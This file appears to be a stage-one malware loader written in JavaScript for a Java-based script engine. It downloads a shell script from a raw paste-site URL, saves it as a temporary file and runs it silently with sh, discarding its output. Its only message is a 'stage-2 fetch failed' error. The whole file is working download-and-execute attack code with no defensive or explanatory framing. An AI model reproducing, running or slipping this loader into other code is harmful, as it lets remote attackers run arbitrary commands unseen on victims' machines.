var urls = [
  "https://gistpad.com/raw/fsdfsdfsdf"
];

var script = null;
for (var i = 0; i < urls.length && script === null; i++) {
  try {
    var is = new java.net.URL(urls[i]).openStream();
    var ba = new java.io.ByteArrayOutputStream();
    var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192);
    var n = 0;
    while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); }
    is.close();
    var s = new java.lang.String(ba.toByteArray(), "UTF-8");
    s = s.replace(/\r/g, "");
    s = s.replace(/^\uFEFF/, "");
    if (s.length() > 0) script = s;
  } catch (e) { }
}

if (script === null) {
  print("stage-2 fetch failed from all sources");
} else {
  var f = java.io.File.createTempFile("flk", ".sh");
  var w = new java.io.FileWriter(f);
  w.write(script);
  w.close();
  var pb = new java.lang.ProcessBuilder();
  pb.command().add("sh");
  pb.command().add("-s");
  pb.command().add("--");
  pb.command().add("ALNK");
  pb.redirectInput(new java.io.File(f.getAbsolutePath()));
  pb.redirectOutput(new java.io.File("/dev/null"));
  pb.redirectErrorStream(true);
  pb.start();
}